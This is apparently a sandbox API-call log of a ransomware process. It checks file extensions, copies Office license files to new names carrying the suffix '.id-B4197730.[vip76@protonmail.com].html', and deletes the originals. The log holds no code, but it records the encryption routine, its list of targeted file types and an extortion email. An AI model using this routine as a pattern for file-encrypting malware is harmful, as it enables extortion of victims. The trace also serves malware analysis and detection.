	[0197.476] lstrlenW (lpString=".rar") returned 4
	[0197.476] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.476] lstrlenW (lpString=".bz2") returned 4
	[0197.476] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.476] lstrlenW (lpString=".7z") returned 3
	[0197.476] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.476] lstrlenW (lpString=".dbf") returned 4
	[0197.476] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.476] lstrlenW (lpString=".1cd") returned 4
	[0197.476] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.477] lstrlenW (lpString=".jpg") returned 4
	[0197.477] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.477] lstrlenW (lpString=".doc") returned 4
	[0197.477] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.477] lstrlenW (lpString=".docx") returned 5
	[0197.477] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.477] lstrlenW (lpString=".pdf") returned 4
	[0197.477] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.477] lstrlenW (lpString=".xls") returned 4
	[0197.477] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.477] lstrlenW (lpString=".xlsx") returned 5
	[0197.477] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.477] lstrlenW (lpString=".ppt") returned 4
	[0197.477] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.477] lstrlenW (lpString=".zip") returned 4
	[0197.477] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.477] lstrlenW (lpString=".rar") returned 4
	[0197.477] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.477] lstrlenW (lpString=".bz2") returned 4
	[0197.490] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.490] lstrlenW (lpString=".7z") returned 3
	[0197.490] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.490] lstrlenW (lpString=".dbf") returned 4
	[0197.490] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.490] lstrlenW (lpString=".1cd") returned 4
	[0197.490] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0197.490] lstrlenW (lpString=".jpg") returned 4
	[0197.490] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.490] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.490] lstrlenW (lpString="HomeStudentR_Retail-ul-phn.xrm-ms") returned 33
	[0197.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0197.749] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=19949) returned 1
	[0197.749] CloseHandle (hObject=0x538) returned 1
	[0197.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220
	[0197.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0197.973] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.973] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0197.980] GetLastError () returned 0x0
	[0197.981] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x4ded, lpOverlapped=0x0) returned 1
	[0197.985] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x4df0, lpOverlapped=0x0) returned 1
	[0197.986] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.986] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x116, lpOverlapped=0x0) returned 1
	[0197.986] SetEndOfFile (hFile=0x5c8) returned 1
	[0197.986] CloseHandle (hObject=0x5c8) returned 1
	[0197.987] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.987] SetEndOfFile (hFile=0x588) returned 1
	[0197.989] CloseHandle (hObject=0x588) returned 1
	[0197.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1
	[0197.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.991] lstrlenW (lpString=".doc") returned 4
	[0197.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.991] lstrlenW (lpString=".docx") returned 5
	[0197.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.991] lstrlenW (lpString=".pdf") returned 4
	[0197.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.991] lstrlenW (lpString=".xls") returned 4
	[0197.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.991] lstrlenW (lpString=".xlsx") returned 5
	[0197.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.991] lstrlenW (lpString=".ppt") returned 4
	[0197.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.991] lstrlenW (lpString=".zip") returned 4
	[0197.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.991] lstrlenW (lpString=".rar") returned 4
	[0197.991] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.991] lstrlenW (lpString=".bz2") returned 4
	[0197.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.991] lstrlenW (lpString=".7z") returned 3
	[0197.991] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.992] lstrlenW (lpString=".dbf") returned 4
	[0197.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.992] lstrlenW (lpString=".1cd") returned 4
	[0197.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.992] lstrlenW (lpString=".jpg") returned 4
	[0197.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.992] lstrlenW (lpString=".doc") returned 4
	[0197.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString=".docx") returned 5
	[0197.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.992] lstrlenW (lpString=".pdf") returned 4
	[0197.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString=".xls") returned 4
	[0197.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString=".xlsx") returned 5
	[0197.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.992] lstrlenW (lpString=".ppt") returned 4
	[0197.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.992] lstrlenW (lpString=".zip") returned 4
	[0197.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString=".rar") returned 4
	[0197.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString=".bz2") returned 4
	[0197.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.992] lstrlenW (lpString=".7z") returned 3
	[0197.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.993] lstrlenW (lpString=".dbf") returned 4
	[0197.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.993] lstrlenW (lpString=".1cd") returned 4
	[0197.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0197.993] lstrlenW (lpString=".jpg") returned 4
	[0197.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.993] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.993] lstrlenW (lpString="MondoR_Grace-ppd.xrm-ms") returned 23
	[0197.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0197.994] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=26459) returned 1
	[0197.994] CloseHandle (hObject=0x588) returned 1
	[0197.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220
	[0197.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0197.994] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.995] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0197.995] GetLastError () returned 0x0
	[0197.995] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x675b, lpOverlapped=0x0) returned 1
	[0198.010] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x6760, lpOverlapped=0x0) returned 1
	[0198.013] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.013] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x102, lpOverlapped=0x0) returned 1
	[0198.013] SetEndOfFile (hFile=0x5c8) returned 1
	[0198.013] CloseHandle (hObject=0x5c8) returned 1
	[0198.013] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.013] SetEndOfFile (hFile=0x588) returned 1
	[0198.016] CloseHandle (hObject=0x588) returned 1
	[0198.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1
	[0198.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.017] lstrlenW (lpString=".doc") returned 4
	[0198.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.017] lstrlenW (lpString=".docx") returned 5
	[0198.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.017] lstrlenW (lpString=".pdf") returned 4
	[0198.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.017] lstrlenW (lpString=".xls") returned 4
	[0198.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.018] lstrlenW (lpString=".xlsx") returned 5
	[0198.018] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.018] lstrlenW (lpString=".ppt") returned 4
	[0198.018] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.018] lstrlenW (lpString=".zip") returned 4
	[0198.018] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.018] lstrlenW (lpString=".rar") returned 4
	[0198.018] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.018] lstrlenW (lpString=".bz2") returned 4
	[0198.018] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.018] lstrlenW (lpString=".7z") returned 3
	[0198.018] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.018] lstrlenW (lpString=".dbf") returned 4
	[0198.018] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.018] lstrlenW (lpString=".1cd") returned 4
	[0198.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.018] lstrlenW (lpString=".jpg") returned 4
	[0198.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.018] lstrlenW (lpString=".doc") returned 4
	[0198.018] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString=".docx") returned 5
	[0198.019] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.019] lstrlenW (lpString=".pdf") returned 4
	[0198.019] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString=".xls") returned 4
	[0198.019] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString=".xlsx") returned 5
	[0198.019] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.019] lstrlenW (lpString=".ppt") returned 4
	[0198.019] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.019] lstrlenW (lpString=".zip") returned 4
	[0198.019] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString=".rar") returned 4
	[0198.019] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString=".bz2") returned 4
	[0198.019] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString=".7z") returned 3
	[0198.019] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.019] lstrlenW (lpString=".dbf") returned 4
	[0198.019] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.019] lstrlenW (lpString=".1cd") returned 4
	[0198.019] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0198.019] lstrlenW (lpString=".jpg") returned 4
	[0198.019] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.020] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.020] lstrlenW (lpString="MondoR_KMS_Automation-ppd.xrm-ms") returned 32
	[0198.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0198.020] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=12416) returned 1
	[0198.020] CloseHandle (hObject=0x588) returned 1
	[0198.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220
	[0198.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0198.021] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.021] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0198.022] GetLastError () returned 0x0
	[0198.022] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x3080, lpOverlapped=0x0) returned 1
	[0198.036] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x3090, lpOverlapped=0x0) returned 1
	[0198.037] ReadFile (in: hFile=0x588, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.037] WriteFile (in: hFile=0x5c8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x114, lpOverlapped=0x0) returned 1
	[0198.037] SetEndOfFile (hFile=0x5c8) returned 1
	[0198.037] CloseHandle (hObject=0x5c8) returned 1
	[0198.037] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.038] SetEndOfFile (hFile=0x588) returned 1
	[0198.040] CloseHandle (hObject=0x588) returned 1
	[0198.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1
	[0198.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0198.042] lstrlenW (lpString=".doc") returned 4
	[0198.042] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.042] lstrlenW (lpString=".docx") returned 5
	[0198.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
